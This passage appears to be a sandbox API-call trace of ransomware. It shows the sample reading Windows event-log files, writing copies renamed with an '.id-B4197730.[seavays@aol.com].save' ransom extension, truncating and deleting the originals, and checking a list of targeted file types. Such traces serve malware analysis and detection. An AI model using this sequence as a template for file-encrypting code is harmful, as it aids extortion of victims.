lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0064.360] lstrlenW (lpString="Microsoft-Windows-SettingSync%4Debug.evtx") returned 41 [0064.360] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0064.361] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=1052672) returned 1 [0064.361] CloseHandle (hObject=0x314) returned 1 [0064.361] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 0x20 [0064.361] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0064.361] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0064.361] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.361] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.361] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0064.362] GetLastError () returned 0x0 [0064.362] ReadFile (in: hFile=0x314, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0064.385] WriteFile (in: hFile=0x2e8, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0064.932] ReadFile (in: hFile=0x314, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x1010, lpOverlapped=0x0) returned 1 [0064.942] WriteFile (in: hFile=0x2e8, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x1020, lpOverlapped=0x0) returned 1 [0064.945] ReadFile (in: hFile=0x314, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.945] WriteFile (in: hFile=0x2e8, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x126, lpOverlapped=0x0) returned 1 [0064.945] SetEndOfFile (hFile=0x2e8) returned 1 [0065.221] CloseHandle (hObject=0x2e8) returned 1 [0065.279] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.279] SetEndOfFile (hFile=0x314) returned 1 [0065.281] CloseHandle (hObject=0x314) returned 1 [0065.281] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0065.282] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 1 [0065.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0065.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0065.282] lstrlenW (lpString=".doc") returned 4 [0065.282] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0065.282] lstrlenW (lpString=".docx") returned 5 [0065.282] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0065.282] lstrlenW (lpString=".pdf") returned 4 [0065.282] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0065.282] lstrlenW (lpString=".xls") returned 4 [0065.282] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0065.282] lstrlenW (lpString=".xlsx") returned 5 [0065.282] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0065.282] lstrlenW (lpString=".ppt") returned 4 [0065.282] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0065.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0065.283] lstrlenW (lpString=".zip") returned 4 [0065.283] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0065.283] lstrlenW (lpString=".rar") returned 4 [0065.283] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0065.283] lstrlenW (lpString=".bz2") returned 4 [0065.283] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0065.283] lstrlenW (lpString=".7z") returned 3 [0065.283] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0065.283] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0065.283] lstrlenW (lpString=".dbf") returned 4 [0065.283] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0065.283] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0065.283] lstrlenW (lpString=".1cd") returned 4 [0065.283] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0065.283] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0065.283] lstrlenW (lpString=".jpg") returned 4 [0065.283] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0065.283] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0065.283] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0065.283] lstrlenW (lpString=".doc") returned 4 [0065.283] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0065.283] lstrlenW (lpString=".docx") returned 5 [0065.283] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0065.283] lstrlenW (lpString=".pdf") returned 4 [0065.283] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0065.283] lstrlenW (lpString=".xls") returned 4 [0065.284] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0065.284] lstrlenW (lpString=".xlsx") returned 5 [0065.284] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0065.284] lstrlenW (lpString=".ppt") returned 4 [0065.284] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0065.284] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0065.284] lstrlenW (lpString=".zip") returned 4 [0065.284] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0065.284] lstrlenW (lpString=".rar") returned 4 [0065.284] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0065.284] lstrlenW (lpString=".bz2") returned 4 [0065.284] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0065.284] lstrlenW (lpString=".7z") returned 3 [0065.284] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0065.284] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0065.284] lstrlenW (lpString=".dbf") returned 4 [0065.284] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0065.284] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0065.285] lstrlenW (lpString=".1cd") returned 4 [0065.285] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0065.285] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0065.285] lstrlenW (lpString=".jpg") returned 4 [0065.285] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0065.285] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0065.285] lstrlenW (lpString="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 72 [0065.285] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0065.285] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=69632) returned 1 [0065.286] CloseHandle (hObject=0x314) returned 1 [0065.286] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 0x20 [0065.286] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0065.286] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0065.286] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.286] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.286] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0065.286] GetLastError () returned 0x0 [0065.287] ReadFile (in: hFile=0x314, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x11000, lpOverlapped=0x0) returned 1 [0065.808] WriteFile (in: hFile=0x2e8, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x11010, lpOverlapped=0x0) returned 1 [0065.810] ReadFile (in: hFile=0x314, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.812] WriteFile (in: hFile=0x2e8, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x164, lpOverlapped=0x0) returned 1 [0065.812] SetEndOfFile (hFile=0x2e8) returned 1 [0065.812] CloseHandle (hObject=0x2e8) returned 1 [0065.815] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.815] SetEndOfFile (hFile=0x314) returned 1 [0065.816] CloseHandle (hObject=0x314) returned 1 [0065.816] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0065.816] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 1 [0065.934] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0065.934] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0065.934] lstrlenW (lpString=".doc") returned 4 [0065.934] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0065.934] lstrlenW (lpString=".docx") returned 5 [0065.934] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0065.934] lstrlenW (lpString=".pdf") returned 4 [0065.934] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0065.934] lstrlenW (lpString=".xls") returned 4 [0065.934] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0065.934] lstrlenW (lpString=".xlsx") returned 5 [0065.934] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0065.934] lstrlenW (lpString=".ppt") returned 4 [0065.934] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0065.934] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0065.934] lstrlenW (lpString=".zip") returned 4 [0065.934] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0065.934] lstrlenW (lpString=".rar") returned 4 [0065.934] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0065.934] lstrlenW (lpString=".bz2") returned 4 [0065.934] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0065.934] lstrlenW (lpString=".7z") returned 3 [0065.934] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0065.934] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0065.934] lstrlenW (lpString=".dbf") returned 4 [0065.934] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0065.934] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0065.934] lstrlenW (lpString=".1cd") returned 4 [0065.934] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0065.934] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0065.934] lstrlenW (lpString=".jpg") returned 4 [0065.934] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0065.935] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0065.935] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0065.935] lstrlenW (lpString=".doc") returned 4 [0065.935] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0065.935] lstrlenW (lpString=".docx") returned 5 [0065.935] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0065.935] lstrlenW (lpString=".pdf") returned 4 [0065.935] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0065.935] lstrlenW (lpString=".xls") returned 4 [0065.935] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0065.935] lstrlenW (lpString=".xlsx") returned 5 [0065.935] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0065.935] lstrlenW (lpString=".ppt") returned 4 [0065.935] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0065.935] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0065.935] lstrlenW (lpString=".zip") returned 4 [0065.935] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0065.935] lstrlenW (lpString=".rar") returned 4 [0065.935] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0065.935] lstrlenW (lpString=".bz2") returned 4 [0065.935] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0065.935] lstrlenW (lpString=".7z") returned 3 [0065.935] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0065.935] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0065.935] lstrlenW (lpString=".dbf") returned 4 [0065.935] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0065.935] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0065.935] lstrlenW (lpString=".1cd") returned 4 [0065.935] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0065.935] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0065.935] lstrlenW (lpString=".jpg") returned 4 [0065.935] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0065.936] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0065.936] lstrlenW (lpString="Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 42 [0065.936] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0066.067] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=69632) returned 1 [0066.093] CloseHandle (hObject=0x388) returned 1 [0066.093] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 0x20 [0066.094] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0066.340] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0066.340] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.340] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.340] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0066.340] GetLastError () returned 0x0 [0066.340] ReadFile (in: hFile=0x398, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x11000, lpOverlapped=0x0) returned 1 [0066.343] WriteFile (in: hFile=0x388, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x11010, lpOverlapped=0x0) returned 1 [0066.345] ReadFile (in: hFile=0x398, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0066.345] WriteFile (in: hFile=0x388, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x128, lpOverlapped=0x0) returned 1 [0066.345] SetEndOfFile (hFile=0x388) returned 1 [0066.345] CloseHandle (hObject=0x388) returned 1 [0066.348] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.348] SetEndOfFile (hFile=0x398) returned 1 [0066.349] CloseHandle (hObject=0x398) returned 1 [0066.349] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0066.349] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 1 [0066.350] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0066.350] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0066.350] lstrlenW (lpString=".doc") returned 4 [0066.350] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0066.350] lstrlenW (lpString=".docx") returned 5 [0066.350] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0066.350] lstrlenW (lpString=".pdf") returned 4 [0066.350] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0066.350] lstrlenW (lpString=".xls") returned 4 [0066.350] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0066.350] lstrlenW (lpString=".xlsx") returned 5 [0066.350] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0066.350] lstrlenW (lpString=".ppt") returned 4 [0066.350] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0066.350] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0066.350] lstrlenW (lpString=".zip") returned 4 [0066.350] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0066.350] lstrlenW (lpString=".rar") returned 4 [0066.350] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0066.350] lstrlenW (lpString=".bz2") returned 4 [0066.350] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0066.350] lstrlenW (lpString=".7z") returned 3 [0066.350] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0066.350] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0066.350] lstrlenW (lpString=".dbf") returned 4 [0066.350] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0066.350] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0066.350] lstrlenW (lpString=".1cd") returned 4 [0066.350] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0066.350] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0066.351] lstrlenW (lpString=".jpg") returned 4 [0066.351] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0066.351] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0066.351] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0066.351] lstrlenW (lpString=".doc") returned 4 [0066.351] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0066.351] lstrlenW (lpString=".docx") returned 5 [0066.351] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0066.351] lstrlenW (lpString=".pdf") returned 4 [0066.351] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0066.351] lstrlenW (lpString=".xls") returned 4 [0066.351] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0066.351] lstrlenW (lpString=".xlsx") returned 5 [0066.351] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0066.351] lstrlenW (lpString=".ppt") returned 4 [0066.351] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0066.351] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0066.351] lstrlenW (lpString=".zip") returned 4 [0066.351] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0066.351] lstrlenW (lpString=".rar") returned 4 [0066.351] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0066.351] lstrlenW (lpString=".bz2") returned 4 [0066.351] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0066.351] lstrlenW (lpString=".7z") returned 3 [0066.351] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0066.351] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0066.351] lstrlenW (lpString=".dbf") returned 4 [0066.351] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0066.351] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0066.351] lstrlenW (lpString=".1cd") returned 4 [0066.352] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0066.352] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0066.352] lstrlenW (lpString=".jpg") returned 4 [0066.352] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0066.352] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0066.352] lstrlenW (lpString="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 57 [0066.352] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0066.352] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=69632) returned 1 [0066.352] CloseHandle (hObject=0x398) returned 1 [0066.352] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 0x20 [0066.352] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0066.352] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" 